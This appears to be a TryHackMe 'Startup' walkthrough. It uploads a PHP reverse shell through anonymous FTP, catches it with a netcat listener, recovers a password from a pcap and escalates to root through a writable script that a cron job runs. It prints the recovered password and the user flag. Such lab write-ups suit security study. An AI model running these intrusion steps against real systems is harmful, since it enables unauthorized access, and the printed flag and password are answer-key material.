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TryHackMe/Startup.md
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TryHackMe/Startup.md
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# TryHackMe-Startup
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## NMAP
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```
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Nmap scan report for 10.10.126.211
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Host is up (0.15s latency).
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Not shown: 997 closed ports
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PORT STATE SERVICE VERSION
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21/tcp open ftp vsftpd 3.0.3
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| ftp-anon: Anonymous FTP login allowed (FTP code 230)
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| drwxrwxrwx 2 65534 65534 4096 Nov 09 02:12 ftp [NSE: writeable]
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|_-rw-r--r-- 1 0 0 208 Nov 09 02:12 notice.txt
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| ftp-syst:
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| STAT:
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| FTP server status:
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| Connected to 10.14.3.143
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| Logged in as ftp
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| TYPE: ASCII
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| No session bandwidth limit
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| Session timeout in seconds is 300
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| Control connection is plain text
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| Data connections will be plain text
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| At session startup, client count was 3
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| vsFTPd 3.0.3 - secure, fast, stable
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|_End of status
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22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.10 (Ubuntu Linux; protocol 2.0)
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| ssh-hostkey:
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| 2048 42:67:c9:25:f8:04:62:85:4c:00:c0:95:95:62:97:cf (RSA)
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| 256 dd:97:11:35:74:2c:dd:e3:c1:75:26:b1:df:eb:a4:82 (ECDSA)
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|_ 256 27:72:6c:e1:2a:a5:5b:d2:6a:69:ca:f9:b9:82:2c:b9 (ED25519)
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80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
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|_http-server-header: Apache/2.4.18 (Ubuntu)
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|_http-title: Maintenance
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Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
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```
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## PORT 80
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<img src="https://imgur.com/BeyLjt9.png"/>
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## Gobuster
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```
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root@kali:~/TryHackMe/Easy/Startup# gobuster dir -u http://10.10.126.211/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 16
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===============================================================
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Gobuster v3.0.1
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by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
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===============================================================
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[+] Url: http://10.10.126.211/
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[+] Threads: 16
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[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
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[+] Status codes: 200,204,301,302,307,401,403
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[+] User Agent: gobuster/3.0.1
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[+] Timeout: 10s
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===============================================================
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2020/11/09 21:02:55 Starting gobuster
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===============================================================
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/files (Status: 301)
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```
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Visting `/files`
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<img src="https://imgur.com/9QKO9K2.png"/>
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We found `notice.txt`
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```
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Whoever is leaving these damn Among Us memes in this share, it IS NOT FUNNY. People downloading documents from our website will think we are a joke! Now I dont know who it is, but Maya is looking pretty sus.
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```
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Here `maya` might be a username
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There wasn't anything in the `ftp` directory
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## PORT 21 (FTP)
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<img src="https://imgur.com/qRHvzXL.png"/>
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Here we find a hidden log file `.test.log`
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But we see something interesting when looking at `ftp` directory
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```
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drwxrwxrwx 2 65534 65534 4096 Nov 09 02:12 ftp
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```
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We can read and write files on that directory
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So I tried to upload php reverse shell and it did get uploaded
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```
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ftp> put shell.php
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local: shell.php remote: shell.php
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200 PORT command successful. Consider using PASV.
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150 Ok to send data.
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226 Transfer complete.
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5493 bytes sent in 0.00 secs (36.6331 MB/s)
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ftp>
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```
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Now let's go back to `/files/ftp`
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<img src="https://imgur.com/rXdAZqu.png"/>
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And then listen for the port you setup in that reverse shell and we'll get it
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```
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Croot@kali:~/TryHackMe/Easy/Startup# nc -lvp 6666
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listening on [any] 6666 ...
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10.10.126.211: inverse host lookup failed: Unknown host
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connect to [10.14.3.143] from (UNKNOWN) [10.10.126.211] 58662
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Linux startup 4.4.0-190-generic #220-Ubuntu SMP Fri Aug 28 23:02:15 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux
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16:32:06 up 38 min, 0 users, load average: 0.00, 0.00, 0.00
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USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
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uid=33(www-data) gid=33(www-data) groups=33(www-data)
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/bin/sh: 0: can't access tty; job control turned off
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$ whoami
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www-data
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```
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```
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rwxr-xr-x 26 root root 4096 Nov 9 15:54 .
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drwxr-xr-x 26 root root 4096 Nov 9 15:54 ..
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drwxr-xr-x 2 root root 4096 Sep 25 08:12 bin
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drwxr-xr-x 3 root root 4096 Sep 25 08:12 boot
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drwxr-xr-x 2 root root 4096 Nov 9 02:10 data
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drwxr-xr-x 16 root root 3560 Nov 9 15:53 dev
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drwxr-xr-x 96 root root 4096 Nov 9 02:33 etc
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drwxr-xr-x 3 root root 4096 Nov 9 02:15 home
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drwxr-xr-x 2 www-data www-data 4096 Nov 9 02:12 incidents
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lrwxrwxrwx 1 root root 33 Sep 25 08:12 initrd.img -> boot/initrd.img-4.4.0-190-generic
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lrwxrwxrwx 1 root root 33 Sep 25 08:12 initrd.img.old -> boot/initrd.img-4.4.0-190-generic
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drwxr-xr-x 22 root root 4096 Sep 25 08:22 lib
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drwxr-xr-x 2 root root 4096 Sep 25 08:10 lib64
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drwx------ 2 root root 16384 Sep 25 08:12 lost+found
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drwxr-xr-x 2 root root 4096 Sep 25 08:09 media
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drwxr-xr-x 2 root root 4096 Sep 25 08:09 mnt
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drwxr-xr-x 2 root root 4096 Sep 25 08:09 opt
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dr-xr-xr-x 126 root root 0 Nov 9 15:53 proc
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-rw-r--r-- 1 www-data www-data 136 Nov 9 02:12 recipe.txt
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drwx------ 4 root root 4096 Nov 9 02:15 root
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drwxr-xr-x 25 root root 900 Nov 9 16:26 run
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drwxr-xr-x 2 root root 4096 Sep 25 08:22 sbin
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drwxr-xr-x 2 root root 4096 Nov 9 02:10 snap
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drwxr-xr-x 3 root root 4096 Nov 9 02:11 srv
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dr-xr-xr-x 13 root root 0 Nov 9 16:33 sys
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drwxrwxrwt 7 root root 4096 Nov 9 16:35 tmp
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drwxr-xr-x 10 root root 4096 Sep 25 08:09 usr
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drwxr-xr-x 2 root root 4096 Nov 9 02:10 vagrant
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drwxr-xr-x 14 root root 4096 Nov 9 02:11 var
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lrwxrwxrwx 1 root root 30 Sep 25 08:12 vmlinuz -> boot/vmlinuz-4.4.0-190-generic
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lrwxrwxrwx 1 root root 30 Sep 25 08:12 vmlinuz.old -> boot/vmlinuz-4.4.0-190-generic
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```
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Here we can find `recipe.txt` that tells the answer to `What is the secret spice soup recipe ?`
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I ran `find` command to check what file can`www-data` is able to read
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Running linpeas I found
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<img src="https://imgur.com/sIRgo5c.png"/>
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```
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/vagrant
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/incidents
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/data
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```
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Are unexpected folders in system(/) directory
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Going to `/incidents`
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```
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www-data@startup:/incidents$ ls -al
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total 40
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drwxr-xr-x 2 www-data www-data 4096 Nov 9 02:12 .
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drwxr-xr-x 26 root root 4096 Nov 10 14:10 ..
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-rwxr-xr-x 1 www-data www-data 31224 Nov 9 02:12 suspicious.pcapng
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www-data@startup:/incidents$
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```
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<img src="https://imgur.com/Yw05Mqg.png"/>
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I then followed `tcp stream`
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<img src="https://imgur.com/gXm09BG.png"/>
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Now this `c4ntg3t3n0ughsp1c3` password maybe for `lennie` or `vagrant`
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```
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www-data@startup:/incidents$ su lennie
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Password:
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lennie@startup:/incidents$
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```
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So we finally get to lower privileged user
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### User Flag
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```
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lennie@startup:/incidents$ cd ~
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lennie@startup:~$ ls -al
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total 20
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drwx------ 4 lennie lennie 4096 Nov 9 02:12 .
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drwxr-xr-x 3 root root 4096 Nov 9 02:15 ..
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drwxr-xr-x 2 lennie lennie 4096 Nov 9 02:12 Documents
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drwxr-xr-x 2 root root 4096 Nov 9 02:13 scripts
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-rw-r--r-- 1 lennie lennie 38 Nov 9 02:12 user.txt
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lennie@startup:~$ cat user.txt
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THM{03ce3d619b80ccbfb3b7fc81e46c0e79}
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lennie@startup:~$
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```
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## Privilege Escalation
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```
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lennie@startup:~/scripts$ ls -al
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total 16
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drwxr-xr-x 2 root root 4096 Nov 9 02:13 .
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drwx------ 4 lennie lennie 4096 Nov 9 02:12 ..
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-rwxr-xr-x 1 root root 77 Nov 9 02:12 planner.sh
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-rw-r--r-- 1 root root 1 Nov 10 14:45 startup_list.txt
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lennie@startup:~/scripts$
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```
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We now can see in lennie's home directory there is `/srcipts` where we can do something with `planner.sh`. It seems we cannot edit that file so there is another script file that we can edit
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```
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lennie@startup:~/scripts$ ls -al
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total 16
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drwxr-xr-x 2 root root 4096 Nov 9 02:13 .
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drwx------ 4 lennie lennie 4096 Nov 9 02:12 ..
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-rwxr-xr-x 1 root root 77 Nov 9 02:12 planner.sh
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-rw-r--r-- 1 root root 1 Nov 10 14:58 startup_list.txt
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lennie@startup:~/scripts$ cat /etc/print.sh
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#!/bin/bash
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echo "Done!"
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lennie@startup:~/scripts$ ls -al /etc/print.sh
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-rwx------ 1 lennie lennie 25 Nov 9 02:12 /etc/print.sh
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lennie@startup:~/scripts$ cat /etc/print.sh
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#!/bin/bash
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echo "Done!"
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lennie@startup:~/scripts$
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```
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After adding a reverse bash shell don't just run the script because it would just give you a shell as `lennie` see starts listening and don't just run the script it would give a shell with in a minute.
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<img src="https://imgur.com/IeUPwTh.png"/>
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```
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root@startup:~# crontab -l
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crontab -l
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* * * * * /home/lennie/scripts/planner.sh
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root@startup:~#
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```
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As you can see it was a cronjob
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